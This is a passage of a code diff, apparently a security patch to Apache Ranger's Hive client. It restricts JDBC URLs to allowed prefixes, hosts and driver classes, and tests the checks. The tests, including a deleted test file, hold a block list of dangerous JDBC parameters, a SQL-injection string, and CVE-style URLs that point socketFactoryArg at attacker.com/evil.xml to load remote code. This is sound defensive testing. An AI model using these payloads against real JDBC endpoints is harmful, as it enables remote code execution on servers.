JdbcUrlValidator.validate("jdbc:hive2://host:10000/db;socketFactory=com.example.X",
hivePrefixes));
+ }
+
+ @Test
+ @DisplayName("Rejects a jdbc url that does not include a host")
+ void rejectsMissingHost() {
+ for (String url : new String[] {
+ "jdbc:hive2://",
+ "jdbc:hive2:///",
+ "jdbc:hive2://;",
+ "jdbc:hive2://?x=y",
+ "jdbc:hive2://#var",
+ "jdbc:hive2:///;initFile=/tmp/init.sql",
+ "jdbc:hive2://:10000",
+ "jdbc:hive2://:10000/default",
+ "jdbc:hive2://:10000/;initFile=/tmp/init.sql",
+ "jdbc:hive2://%3A10000/default",
+ "jdbc:hive2://user:pass@:10000/db",
+
"jdbc:hive2://:2181,zk:2181/;serviceDiscoveryMode=zooKeeper"
+ }) {
+ HadoopException e = assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate(url, hivePrefixes));
+ assertTrue(e.getMessage().contains("jdbc.url must include a
host"), e.getMessage());
+ }
+ }
+
+ @Test
+ @DisplayName("Rejects a port with an empty hostname for Trino and
Presto")
+ void rejectsPortWithoutHostForOtherSchemes() {
+ HadoopException trino = assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate("jdbc:trino://:8080/catalog",
Collections.singletonList("jdbc:trino://")));
+ assertTrue(trino.getMessage().contains("jdbc.url must include a
host"), trino.getMessage());
+ HadoopException presto = assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate("jdbc:presto://:8080",
Collections.singletonList("jdbc:presto://")));
+ assertTrue(presto.getMessage().contains("jdbc.url must include a
host"), presto.getMessage());
+ }
+
+ @Test
+ @DisplayName("Rejects a Trino dnsResolver class name")
+ void rejectsDnsResolver() {
+ HadoopException e = assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate("jdbc:trino://h:8080?dnsResolver=com.example.Resolver",
Collections.singletonList("jdbc:trino://")));
+ assertTrue(e.getMessage().contains("prohibited parameter"),
e.getMessage());
+ }
+
+ @Test
+ @DisplayName("Null or empty prefix list rejects every URL")
+ void nullOrEmptyPrefixes() {
+ assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate("jdbc:hive2://host:10000", null));
+ assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate("jdbc:hive2://host:10000", Collections.emptyList()));
+ assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate("jdbc:hive2://host:10000",
Collections.singletonList("")));
+ }
+
+ @Test
+ @DisplayName("Null URL is rejected")
+ void nullUrl() {
+ assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate(null, hivePrefixes));
+ }
+ }
+
+ @Nested
+ @DisplayName("Driver class allow-list")
+ class DriverClassAllowList {
+ private final List<String> allowed =
Arrays.asList("io.prestosql.jdbc.PrestoDriver",
"com.facebook.presto.jdbc.PrestoDriver");
+
+ @Test
+ @DisplayName("Allowed driver class is accepted")
+ void allowedDriver() {
+ assertDoesNotThrow(() ->
JdbcUrlValidator.validateDriverClassName("io.prestosql.jdbc.PrestoDriver",
allowed));
+ assertDoesNotThrow(() ->
JdbcUrlValidator.validateDriverClassName("com.facebook.presto.jdbc.PrestoDriver",
allowed));
+ }
+
+ @Test
+ @DisplayName("Null driver class is accepted (no explicit
registration)")
+ void nullDriver() {
+ assertDoesNotThrow(() ->
JdbcUrlValidator.validateDriverClassName(null, allowed));
+ }
+
+ @Test
+ void rejectedDriver() {
+ for (String driverClassName : new String[] {
+ "", "java.lang.Thread", "com.mysql.cj.jdbc.Driver",
"org.postgresql.Driver",
+ "IO.PRESTOSQL.JDBC.PRESTODRIVER", "
io.prestosql.jdbc.PrestoDriver", "io.prestosql.jdbc.PrestoDriver "
+ }) {
+ HadoopException e = assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validateDriverClassName(driverClassName, allowed));
+ assertTrue(e.getMessage().contains("jdbc.driverClassName must
be one of"), e.getMessage());
+ }
+ }
+
+ @Test
+ @DisplayName("Null or empty allow-list rejects every driver class")
+ void nullOrEmptyAllowList() {
+ assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validateDriverClassName("io.prestosql.jdbc.PrestoDriver",
null));
+ assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validateDriverClassName("io.prestosql.jdbc.PrestoDriver",
Collections.emptyList()));
+ }
+ }
+}
diff --git
a/hive-agent/src/main/java/org/apache/ranger/services/hive/client/HiveClient.java
b/hive-agent/src/main/java/org/apache/ranger/services/hive/client/HiveClient.java
index f739fef92..6347c9733 100644
---
a/hive-agent/src/main/java/org/apache/ranger/services/hive/client/HiveClient.java
+++
b/hive-agent/src/main/java/org/apache/ranger/services/hive/client/HiveClient.java
@@ -28,6 +28,7 @@
import org.apache.hadoop.hive.metastore.api.MetaException;
import org.apache.ranger.plugin.client.BaseClient;
import org.apache.ranger.plugin.client.HadoopException;
+import org.apache.ranger.plugin.client.JdbcUrlValidator;
import org.apache.ranger.plugin.util.PasswordUtils;
import org.apache.thrift.TException;
import org.slf4j.Logger;
@@ -48,6 +49,7 @@
import java.sql.SQLTimeoutException;
import java.sql.Statement;
import java.util.ArrayList;
+import java.util.Collections;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
@@ -60,6 +62,9 @@ public class HiveClient extends BaseClient implements
Closeable {
+ "policies, but you would not be able to use autocomplete for "
+ "resource names. Check ranger_admin.log for more info.";
+ private static final List<String> ALLOWED_JDBC_URL_PREFIXES =
Collections.singletonList("jdbc:hive2://");
+ private static final List<String> ALLOWED_JDBC_DRIVER_CLASSES =
Collections.singletonList("org.apache.hive.jdbc.HiveDriver");
+
private Connection con;
private HiveMetaStoreClient hiveClient;
private String hiveSiteFilePath;
@@ -674,6 +679,15 @@ private void initConnection(String userName, String
password) throws HadoopExcep
String driverClassName =
prop.getProperty("jdbc.driverClassName");
String url = prop.getProperty("jdbc.url");
+ if (url != null) {
+ url = url.trim();
+ }
+
+ JdbcUrlValidator.validate(url, ALLOWED_JDBC_URL_PREFIXES);
+ JdbcUrlValidator.validateDriverClassName(driverClassName,
ALLOWED_JDBC_DRIVER_CLASSES);
+
+ // A null name skips registration. DriverManager then uses a
driver that accepts
+ // jdbc:hive2://, which the prefix and host checks already
constrained.
if (driverClassName != null) {
try {
Driver driver = (Driver)
Class.forName(driverClassName).newInstance();
diff --git
a/hive-agent/src/main/java/org/apache/ranger/services/hive/client/JdbcUrlValidator.java
b/hive-agent/src/main/java/org/apache/ranger/services/hive/client/JdbcUrlValidator.java
deleted file mode 100644
index 754e30f0a..000000000
---
a/hive-agent/src/main/java/org/apache/ranger/services/hive/client/JdbcUrlValidator.java
+++ /dev/null
@@ -1,121 +0,0 @@
-/*
- * Licensed to the Apache Software Foundation (ASF) under one or more
- * contributor license agreements. See the NOTICE file distributed with
- * this work for additional information regarding copyright ownership.
- * The ASF licenses this file to You under the Apache License, Version 2.0
- * (the "License"); you may not use this file except in compliance with
- * the License. You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package org.apache.ranger.services.hive.client;
-
-import org.apache.ranger.plugin.client.HadoopException;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-
-import java.net.URLDecoder;
-import java.nio.charset.StandardCharsets;
-import java.util.Arrays;
-import java.util.Collections;
-import java.util.HashSet;
-import java.util.Set;
-
-public final class JdbcUrlValidator {
- private static final Logger LOG =
LoggerFactory.getLogger(JdbcUrlValidator.class);
- private static final Set<String> BLOCKED_PARAMS =
Collections.unmodifiableSet(
- new HashSet<>(Arrays.asList(
- "socketfactory", "socketfactoryarg", "sslfactory",
"sslfactoryarg",
- "sslhostnameverifier", "authenticationpluginclassname",
"loggerclassname",
- "kerberosservername", "gssdelegatecred",
"sslpasswordcallback")));
- private static final String[] DANGEROUS_PATTERNS = {"socketfactory",
"sslfactory", "autodeserialize"};
-
- private JdbcUrlValidator() {
- }
-
- public static void validate(String jdbcUrl) throws HadoopException {
- if (jdbcUrl == null || jdbcUrl.trim().isEmpty()) {
- HadoopException e = new HadoopException("jdbc.url must not be null
or empty");
- e.generateResponseDataMap(false, "Validation failed", "jdbc.url is
required",
- null, "jdbc.url");
- throw e;
- }
- String trimmed = jdbcUrl.trim();
- int queryStart = findQueryStart(trimmed);
- if (queryStart != -1) {
- String queryString = trimmed.substring(queryStart + 1);
- validateQueryString(queryString, trimmed);
- }
- LOG.debug("jdbc.url passed validation: {}", sanitizeForLog(trimmed));
- }
-
- private static void validateQueryString(String queryString, String
fullUrl) throws HadoopException {
- String[] tokens = queryString.split("[&;?]");
- for (String token : tokens) {
- if (token.trim().isEmpty()) {
- continue;
- }
- int eqIdx = token.indexOf('=');
- String paramName = (eqIdx >= 0 ? token.substring(0, eqIdx) :
token).trim();
- String decodedParamName = paramName;
- try {
- // Jdk-8 specific fix .name().
- decodedParamName = URLDecoder.decode(paramName,
StandardCharsets.UTF_8.name());
- } catch (Exception e) {
- LOG.warn("Failed to decode parameter name: {}", paramName);
- }
-
- String normalized =
decodedParamName.toLowerCase().trim().replaceAll("[._-]", "");
- if (BLOCKED_PARAMS.contains(normalized)) {
- logAndThrow("blocked parameter", normalized, paramName,
fullUrl);
- }
- for (String danger : DANGEROUS_PATTERNS) {
- if (normalized.contains(danger)) {
- logAndThrow("dangerous pattern '" + danger + "'",
normalized, paramName, fullUrl);
- }
- }
- if (normalized.contains("factory") &&
(normalized.contains("socket") || normalized.contains("ssl") ||
- normalized.contains("connection") ||
normalized.contains("auth") ||
- normalized.contains("driver") ||
normalized.contains("datasource"))) {
- logAndThrow("potentially dangerous factory parameter",
normalized, paramName, fullUrl);
- }
- }
- }
-
- static String sanitizeForLog(String url) {
- if (url == null) {
- return "<null>";
- }
- int idx = findQueryStart(url);
- return idx >= 0 ? url.substring(0, idx) + "?<params_redacted>" : url;
- }
-
- private static int findQueryStart(String url) {
- int qIdx = url.indexOf('?');
- int sIdx = url.indexOf(';');
- if (qIdx >= 0 && sIdx >= 0) {
- return Math.min(qIdx, sIdx);
- } else if (qIdx >= 0) {
- return qIdx;
- } else if (sIdx >= 0) {
- return sIdx;
- }
- return -1;
- }
-
- private static void logAndThrow(String reason, String normalized, String
originalParam, String fullUrl) {
- LOG.warn("Rejected jdbc.url containing {} '{}' (param='{}'): {}",
reason, normalized, originalParam, sanitizeForLog(fullUrl));
- HadoopException e = new HadoopException("jdbc.url contains a
prohibited parameter: '" + originalParam +
- "'. This parameter is not permitted for security reasons.");
- e.generateResponseDataMap(false, "Invalid jdbc.url parameter",
"Parameter '" +
- originalParam + "' is blocked", null, "jdbc.url");
- throw e;
- }
-}
diff --git
a/hive-agent/src/test/java/org/apache/ranger/services/hive/client/JdbcUrlValidatorTest.java
b/hive-agent/src/test/java/org/apache/ranger/services/hive/client/JdbcUrlValidatorTest.java
deleted file mode 100644
index 9fae45476..000000000
---
a/hive-agent/src/test/java/org/apache/ranger/services/hive/client/JdbcUrlValidatorTest.java
+++ /dev/null
@@ -1,482 +0,0 @@
-/*
- * Licensed to the Apache Software Foundation (ASF) under one
- * or more contributor license agreements. See the NOTICE file
- * distributed with this work for additional information
- * regarding copyright ownership. The ASF licenses this file
- * to you under the Apache License, Version 2.0 (the
- * "License"); you may not use this file except in compliance
- * with the License. You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing,
- * software distributed under the License is distributed on an
- * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
- * KIND, either express or implied. See the License for the
- * specific language governing permissions and limitations
- * under the License.
- */
-
-package org.apache.ranger.services.hive.client;
-
-import org.apache.ranger.plugin.client.HadoopException;
-import org.junit.jupiter.api.Disabled;
-import org.junit.jupiter.api.Test;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertFalse;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-import static org.junit.jupiter.api.Assertions.fail;
-
-@Disabled("Blocked by pre-existing hive-agent/pom.xml conflict:
log4j-over-slf4j "
- + "(test-scope) clashes with slf4j-reload4j, causing
NoClassDefFoundError "
- + "on any test that triggers SLF4J logger init in this module. "
- + "Not introduced by this PR — this issue will be tracked separately.
"
- + "Verified manually against a local pom.xml with the conflicting
dependency removed.")
-public class JdbcUrlValidatorTest {
-
- @Test
- public void simpleUrlWithoutParameters() {
- JdbcUrlValidator.validate("jdbc:hive2://localhost:10000/default");
- }
-
- @Test
- public void urlWithSafeParameters() {
-
JdbcUrlValidator.validate("jdbc:hive2://host:10000/db?user=test&password=secret&ssl=true");
- }
-
- @Test
- public void urlWithKerberosParameters() {
-
JdbcUrlValidator.validate("jdbc:hive2://host:10000/default?principal=hive/host@REALM;auth=kerberos");
- }
-
- @Test
- public void postgresqlUrlWithSafeParameters() {
-
JdbcUrlValidator.validate("jdbc:postgresql://localhost:5432/db?user=test&ssl=true");
- }
-
- @Test
- public void urlWithWhitespace() {
- JdbcUrlValidator.validate(" jdbc:hive2://host:10000/db ");
- }
-
- @Test
- public void rejectsExactBlockedParameters() {
- String[] blockedParams = {
- "socketfactory", "socketfactoryarg", "sslfactory",
"sslfactoryarg",
- "sslhostnameverifier", "authenticationpluginclassname",
"loggerclassname",
- "kerberosservername", "gssdelegatecred", "sslpasswordcallback"
- };
- for (String blockedParam : blockedParams) {
- String url = "jdbc:hive2://host:10000/db?" + blockedParam +
"=malicious";
- try {
- JdbcUrlValidator.validate(url);
- fail("Expected HadoopException for blocked parameter: " +
blockedParam);
- } catch (HadoopException exception) {
- assertTrue(exception.getMessage().contains("prohibited
parameter"));
- assertTrue(exception.getMessage().contains(blockedParam));
- }
- }
- }
-
- @Test
- public void rejectsOriginalCvePayload() {
- String url = "jdbc:postgresql://127.0.0.1:5432/x" +
-
"?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext"
+
- "&socketFactoryArg=http://attacker.com/evil.xml";
- try {
- JdbcUrlValidator.validate(url);
- fail("Expected HadoopException for original CVE payload");
- } catch (HadoopException exception) {
- assertTrue(exception.getMessage().contains("prohibited
parameter"));
- }
- }
-
- @Test
- public void rejectsDangerousPatterns() {
- String[] patterns = {"socketfactory", "sslfactory", "autodeserialize"};
- for (String pattern : patterns) {
- String url = "jdbc:hive2://host:10000/db?custom" + pattern +
"=malicious";
- try {
- JdbcUrlValidator.validate(url);
- fail("Expected HadoopException for dangerous pattern: " +
pattern);
- } catch (HadoopException exception) {
- assertTrue(exception.getMessage().contains("prohibited
parameter"));
- }
- }
- }
-
- @SuppressWarnings("PMD.JUnitUseExpected")
- @Test
- public void rejectsMysqlAutoDeserialize() {
- String url = "jdbc:mysql://host:3306/db?customautodeserialize=true";
- try {
- JdbcUrlValidator.validate(url);
- fail("Expected HadoopException for MySQL autoDeserialize");
- } catch (HadoopException expected) {
- // expected
- }
- }
-
- @SuppressWarnings("PMD.JUnitUseExpected")
- @Test
- public void rejectsFactoryParameters() {
- String[] factoryParams = {
- "customsocketfactory", "mysslconnectionfactory", "authfactory",
- "driverfactory", "datasourcefactory"
- };
- for (String factoryParam : factoryParams) {
- String url = "jdbc:postgresql://host:5432/db?" + factoryParam +
"=com.evil.Factory";
- try {
- JdbcUrlValidator.validate(url);
- fail("Expected HadoopException for factory parameter: " +
factoryParam);
- } catch (HadoopException exception) {
- assertTrue(exception.getMessage().contains("prohibited
parameter"));
- }
- }
- }
-
- @Test
- public void allowsNonDangerousFactory() {
-
JdbcUrlValidator.validate("jdbc:hive2://host:10000/db?factory=simple&timeout=30");
- }
-
- @Test
- public void rejectsUrlEncodedSocketFactory() {
- String url = "jdbc:hive2://host:10000/db?socket%46actory=malicious";
- try {
- JdbcUrlValidator.validate(url);
- fail("Expected HadoopException for URL-encoded socketFactory");
- } catch (HadoopException exception) {
- assertTrue(exception.getMessage().contains("prohibited
parameter"));
- }
- }
-
- @SuppressWarnings("PMD.JUnitUseExpected")
- @Test
- public void rejectsEncodedBypassAttempts() {
- String[] encodedParams = {
- "socket%46actory", // %46 = 'F'
- "socket%66actory", // %66 = 'f'
- "%73ocketfactory", // %73 = 's'
- "ssl%46actory", // SSL factory with encoded F
- "%73sl%46actory" // Multiple encoded characters
- };
- for (String encodedParam : encodedParams) {
- String url = "jdbc:postgresql://host:5432/db?" + encodedParam +
"=malicious";
- try {
- JdbcUrlValidator.validate(url);
- fail("Expected HadoopException for encoded parameter: " +
encodedParam);
- } catch (HadoopException expected) {
- // expected
- }
- }
- }
-
- // Handles malformed URL encoding gracefully
- @SuppressWarnings("PMD.JUnitUseExpected")
- @Test
- public void handlesMalformedEncoding() {
- String url = "jdbc:hive2://host:10000/db?socket%ZZfactory=test";
- try {
- JdbcUrlValidator.validate(url);
- } catch (HadoopException e) {
- assertTrue(e.getMessage().contains("prohibited parameter"));
- }
- }
-
- // Rejects parameters regardless of case
- @SuppressWarnings("PMD.JUnitUseExpected")
- @Test
- public void rejectsParametersRegardlessOfCase() {
- String[] paramNames = {
- "SOCKETFACTORY", "SocketFactory", "socketFactory",
- "SSLFACTORY", "SslFactory", "sslFactory"
- };
- for (String paramName : paramNames) {
- String url = "jdbc:hive2://host:10000/db?" + paramName +
"=malicious";
- try {
- JdbcUrlValidator.validate(url);
- fail("Expected HadoopException for parameter: " + paramName);
- } catch (HadoopException expected) {
- // expected
- }
- }
- }
-
- // Handles mixed case with encoding
- @SuppressWarnings("PMD.JUnitUseExpected")
- @Test
- public void handlesMixedCaseWithEncoding() {
- String url = "jdbc:hive2://host:10000/db?Socket%46actory=malicious";
- try {
- JdbcUrlValidator.validate(url);
- fail("Expected HadoopException for mixed case with encoding");
- } catch (HadoopException expected) {
- // expected
- }
- }
-
- // Handles & separator
- @SuppressWarnings("PMD.JUnitUseExpected")
- @Test
- public void handlesAmpersandSeparator() {
- String url =
"jdbc:hive2://host:10000/db?user=test&socketfactory=evil&ssl=true";
- try {
- JdbcUrlValidator.validate(url);
- fail("Expected HadoopException for ampersand separator");
- } catch (HadoopException expected) {
- // expected
- }
- }
-
- // Handles ; separator
- @SuppressWarnings("PMD.JUnitUseExpected")
- @Test
- public void handlesSemicolonSeparator() {
- String url =
"jdbc:hive2://host:10000/db?user=test;socketfactory=evil;ssl=true";
- try {
- JdbcUrlValidator.validate(url);
- fail("Expected HadoopException for semicolon separator");
- } catch (HadoopException expected) {
- // expected
- }
- }
-
- // Handles mixed separators
- @SuppressWarnings("PMD.JUnitUseExpected")
- @Test
- public void handlesMixedSeparators() {
- String url =
"jdbc:hive2://host:10000/db?user=test;ssl=true&socketfactory=evil";
- try {
- JdbcUrlValidator.validate(url);
- fail("Expected HadoopException for mixed separators");
- } catch (HadoopException expected) {
- // expected
- }
- }
-
- // Handles parameters without values
- @SuppressWarnings("PMD.JUnitUseExpected")
- @Test
- public void handlesParametersWithoutValues() {
- String url = "jdbc:hive2://host:10000/db?ssl&socketfactory&timeout=30";
- try {
- JdbcUrlValidator.validate(url);
- fail("Expected HadoopException for parameters without values");
- } catch (HadoopException expected) {
- // expected
- }
- }
-
- // Rejects parameters with separator character obfuscation
- @SuppressWarnings("PMD.JUnitUseExpected")
- @Test
- public void rejectsObfuscatedParameters() {
- String[] obfuscatedParams = {
- "socket.factory", "socket-factory", "socket_factory",
- "ssl.factory", "ssl-factory", "ssl_factory"
- };
- for (String obfuscatedParam : obfuscatedParams) {
- String url = "jdbc:hive2://host:10000/db?" + obfuscatedParam +
"=malicious";
- try {
- JdbcUrlValidator.validate(url);
- fail("Expected HadoopException for obfuscated parameter: " +
obfuscatedParam);
- } catch (HadoopException expected) {
- // expected
- }
- }
- }
-
- // Handles multiple obfuscation techniques
- @SuppressWarnings("PMD.JUnitUseExpected")
- @Test
- public void handlesMultipleObfuscation() {
- String url = "jdbc:hive2://host:10000/db?Socket-Factory_ARG=malicious";
- try {
- JdbcUrlValidator.validate(url);
- fail("Expected HadoopException for multiple obfuscation
techniques");
- } catch (HadoopException expected) {
- // expected
- }
- }
-
- // Rejects null URL
- @SuppressWarnings("PMD.JUnitUseExpected")
- @Test
- public void rejectsNullUrl() {
- try {
- JdbcUrlValidator.validate(null);
- fail("Expected HadoopException for null URL");
- } catch (HadoopException exception) {
- assertTrue(exception.getMessage().contains("must not be null or
empty"));
- }
- }
-
- // Rejects empty URL
- @Test
- public void rejectsEmptyUrl() {
- try {
- JdbcUrlValidator.validate("");
- fail("Expected HadoopException for empty URL");
- } catch (HadoopException exception) {
- assertTrue(exception.getMessage().contains("must not be null or
empty"));
- }
- }
-
- // Rejects whitespace-only URL
- @Test
- public void rejectsWhitespaceOnlyUrl() {
- try {
- JdbcUrlValidator.validate(" ");
- fail("Expected HadoopException for whitespace-only URL");
- } catch (HadoopException exception) {
- assertTrue(exception.getMessage().contains("must not be null or
empty"));
- }
- }
-
- // Handles URL without query parameters
- @Test
- public void handlesUrlWithoutQueryParameters() {
- JdbcUrlValidator.validate("jdbc:hive2://localhost:10000/default");
- }
-
- // Handles URL with empty query string
- @Test
- public void handlesUrlWithEmptyQueryString() {
- JdbcUrlValidator.validate("jdbc:hive2://localhost:10000/default?");
- }
-
- // Handles URL with only separators in query
- @Test
- public void handlesUrlWithOnlySeparators() {
- JdbcUrlValidator.validate("jdbc:hive2://localhost:10000/default?&;&;");
- }
-
- @Test
- public void sanitizesUrlForLogging() {
- String url = "jdbc:hive2://host:10000/db?password=secret&user=test";
- String sanitized = JdbcUrlValidator.sanitizeForLog(url);
- assertFalse(sanitized.contains("secret"));
- assertTrue(sanitized.contains("<params_redacted>"));
- assertTrue(sanitized.contains("jdbc:hive2://host:10000/db"));
- }
-
- // Handles null URL in sanitization
- @Test
- public void handlesNullUrlInSanitization() {
- String result = JdbcUrlValidator.sanitizeForLog(null);
- assertEquals("<null>", result);
- }
-
- // Handles URL without parameters in sanitization
- @Test
- public void handlesUrlWithoutParamsInSanitization() {
- String url = "jdbc:hive2://host:10000/db";
- String result = JdbcUrlValidator.sanitizeForLog(url);
- assertEquals(url, result);
- }
-
- @Test
- public void testSanitizeForLogWithSemicolonParams() {
- String url = "jdbc:hive2://server:10000/db;user=admin;password=secret";
- String result = JdbcUrlValidator.sanitizeForLog(url);
- assertEquals("jdbc:hive2://server:10000/db?<params_redacted>", result);
- }
-
- @Test
- public void testSanitizeForLogWithQuestionMarkParams() {
- String url = "jdbc:hive2://server:10000/db?user=admin&password=secret";
- String result = JdbcUrlValidator.sanitizeForLog(url);
- assertEquals("jdbc:hive2://server:10000/db?<params_redacted>", result);
- }
-
- @Test
- public void testSanitizeForLogWithMixedSeparators() {
- String url =
"jdbc:hive2://server:10000/db;ssl=true?socketFactory=evil";
- String result = JdbcUrlValidator.sanitizeForLog(url);
- assertEquals("jdbc:hive2://server:10000/db?<params_redacted>", result);
- }
-
- @Test
- public void blocksSemicolonBeforeQuestion() {
- String url = "jdbc:hive2://host:10000/db;socketFactory=evil?user=test";
- try {
- JdbcUrlValidator.validate(url);
- fail("Expected HadoopException for semicolon-before-question
delimiters");
- } catch (HadoopException ex) {
- assertTrue(ex.getMessage().contains("socketFactory"));
- }
- }
-
- @Test
- public void blocksQuestionBeforeSemicolon() {
- String url = "jdbc:hive2://host:10000/db?socketFactory=evil;user=test";
- try {
- JdbcUrlValidator.validate(url);
- fail("Expected HadoopException for question-before-semicolon
delimiters");
- } catch (HadoopException ex) {
- assertTrue(ex.getMessage().contains("socketFactory"));
- }
- }
-
- // Handles semicolon-only Hive URLs
- @Test
- public void handlesSemicolonOnly() {
- String url = "jdbc:hive2://host:10000/db;socketFactory=evil";
- try {
- JdbcUrlValidator.validate(url);
- fail("Expected HadoopException for semicolon-only URL");
- } catch (HadoopException ex) {
- assertTrue(ex.getMessage().contains("socketFactory"));
- }
- }
-
- // Handles question-only URLs
- @Test
- public void handlesQuestionOnly() {
- String url = "jdbc:hive2://host:10000/db?socketFactory=evil";
- try {
- JdbcUrlValidator.validate(url);
- fail("Expected HadoopException for question-only URL");
- } catch (HadoopException ex) {
- assertTrue(ex.getMessage().contains("socketFactory"));
- }
- }
-
- @SuppressWarnings("PMD.JUnitUseExpected")
- @Test
- public void complexMaliciousUrl() {
- String url = "jdbc:postgresql://evil.com:5432/db" +
- "?user=admin&password=secret" +
-
"&socket%46actory=org.springframework.context.support.ClassPathXmlApplicationContext"
+
- "&socketFactoryArg=http://attacker.com/evil.xml" +
- "&SSL-Factory=com.evil.SSLFactory" +
- "&custom_autodeserialize=true";
- try {
- JdbcUrlValidator.validate(url);
- fail("Expected HadoopException for complex malicious URL");
- } catch (HadoopException expected) {
- // expected
- }
- }
-
- @Test
- public void realWorldHiveUrl() {
- String url = "jdbc:hive2://hive-server:10000/warehouse" +
- "?principal=hive/[email protected]" +
- ";auth=kerberos" +
- ";ssl=true" +
- ";sslTrustStore=/etc/hive/truststore.jks" +
- ";transportMode=http" +
- ";httpPath=cliservice";
- JdbcUrlValidator.validate(url);
- }
-
- @Test
- public void postgresqlSafeUrl() {
- String url = "jdbc:postgresql://pg-server:5432/mydb" +
- "?user=admin&password=secret&ssl=true&sslmode=require";
- JdbcUrlValidator.validate(url);
- }
-}
\ No newline at end of file
diff --git
a/hive-agent/src/test/java/org/apache/ranger/services/hive/client/TestHiveClient.java
b/hive-agent/src/test/java/org/apache/ranger/services/hive/client/TestHiveClient.java
index 69bc3e33d..f8ae7a3c5 100644
---
a/hive-agent/src/test/java/org/apache/ranger/services/hive/client/TestHiveClient.java
+++
b/hive-agent/src/test/java/org/apache/ranger/services/hive/client/TestHiveClient.java
@@ -43,6 +43,7 @@
import java.sql.Connection;
import java.sql.DatabaseMetaData;
import java.sql.Driver;
+import java.sql.DriverManager;
import java.sql.DriverPropertyInfo;
import java.sql.ResultSet;
import java.sql.SQLFeatureNotSupportedException;
@@ -53,10 +54,12 @@
import java.util.List;
import java.util.Map;
import java.util.Properties;
+import java.util.concurrent.atomic.AtomicBoolean;
import java.util.logging.Logger;
import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertFalse;
import static org.junit.jupiter.api.Assertions.assertNotEquals;
import static org.junit.jupiter.api.Assertions.assertNotNull;
import static org.junit.jupiter.api.Assertions.assertNull;
@@ -71,6 +74,9 @@
@ExtendWith(MockitoExtension.class)
@TestMethodOrder(MethodOrderer.MethodName.class)
public class TestHiveClient {
+ private static final AtomicBoolean TRACKED_CLASS_INITIALIZED = new
AtomicBoolean(false);
+ private static final String TRACKED_CLASS_NAME =
TestHiveClient.class.getName() + "$TrackedClass";
+
@Test
public void test01_connectionTestEmptyDbListSetsFailureMessage() throws
Exception {
try (MockedConstruction<HiveClient> cons =
Mockito.mockConstruction(HiveClient.class, (mock, ctx) -> {
@@ -611,6 +617,68 @@ public void
test31_getColumnList_rejectsInjectionInTableName() throws Exception
assertThrows(HadoopException.class, () ->
client.getColumnList("valid", Collections.singletonList("db1"),
Collections.singletonList("test'; DROP TABLE users; --"), null), "Should reject
SQL injection in table name");
}
+ @Test
+ public void test32_initConnection_rejectsNonHiveUrlScheme() throws
Exception {
+ assertJdbcConfigRejected("org.apache.hive.jdbc.HiveDriver",
"jdbc:mysql://address=(host=localhost)(port=3306)(autoDeserialize=true)/db",
"jdbc.url must start with");
+ assertJdbcConfigRejected("org.apache.hive.jdbc.HiveDriver",
"jdbc:postgresql://localhost:5432/db", "jdbc.url must start with");
+ assertJdbcConfigRejected("org.apache.hive.jdbc.HiveDriver",
"JDBC:HIVE2://localhost:10000", "jdbc.url must start with");
+ }
+
+ @Test
+ public void test33_initConnection_rejectsDriverClassNotInAllowList()
throws Exception {
+ assertJdbcConfigRejected(TRACKED_CLASS_NAME,
"jdbc:hive2://localhost:10000", "jdbc.driverClassName must be one of");
+ assertFalse(TRACKED_CLASS_INITIALIZED.get(), "driver class must not be
loaded when it is not in the allowed list");
+ }
+
+ @Test
+ public void test34_initConnection_rejectsUnsafeUrlParameter() throws
Exception {
+ assertJdbcConfigRejected("org.apache.hive.jdbc.HiveDriver",
"jdbc:hive2://localhost:10000/default;socketFactory=com.example.Evil",
"prohibited parameter");
+ assertJdbcConfigRejected("org.apache.hive.jdbc.HiveDriver",
"jdbc:hive2://localhost:10000/default%3BsocketFactory=com.example.Evil",
"prohibited parameter");
+ }
+
+ @Test
+ public void test35_initConnection_rejectsEmbeddedHiveUrl() throws
Exception {
+ assertJdbcConfigRejected("org.apache.hive.jdbc.HiveDriver",
"jdbc:hive2:///", "jdbc.url must include a host");
+ assertJdbcConfigRejected("org.apache.hive.jdbc.HiveDriver",
"jdbc:hive2://;", "jdbc.url must include a host");
+ assertJdbcConfigRejected("org.apache.hive.jdbc.HiveDriver",
"jdbc:hive2://?x=y", "jdbc.url must include a host");
+ assertJdbcConfigRejected("org.apache.hive.jdbc.HiveDriver",
"jdbc:hive2://:10000/default", "jdbc.url must include a host");
+ }
+
+ private void assertJdbcConfigRejected(String driverClassName, String url,
String expectedMessage) throws Exception {
+ NoopHiveClient client = new NoopHiveClient("svc", new HashMap<>());
+ Field fCfg =
Class.forName("org.apache.ranger.plugin.client.BaseClient").getDeclaredField("configHolder");
+ fCfg.setAccessible(true);
+ HadoopConfigHolder cfg =
Mockito.mock(HadoopConfigHolder.class);
+ Properties rangerProps = new Properties();
+ rangerProps.setProperty("jdbc.driverClassName", driverClassName);
+ rangerProps.setProperty("jdbc.url", url);
+ when(cfg.getRangerSection()).thenReturn(rangerProps);
+ fCfg.set(client, cfg);
+ Method m = HiveClient.class.getDeclaredMethod("initConnection",
String.class, String.class);
+ m.setAccessible(true);
+
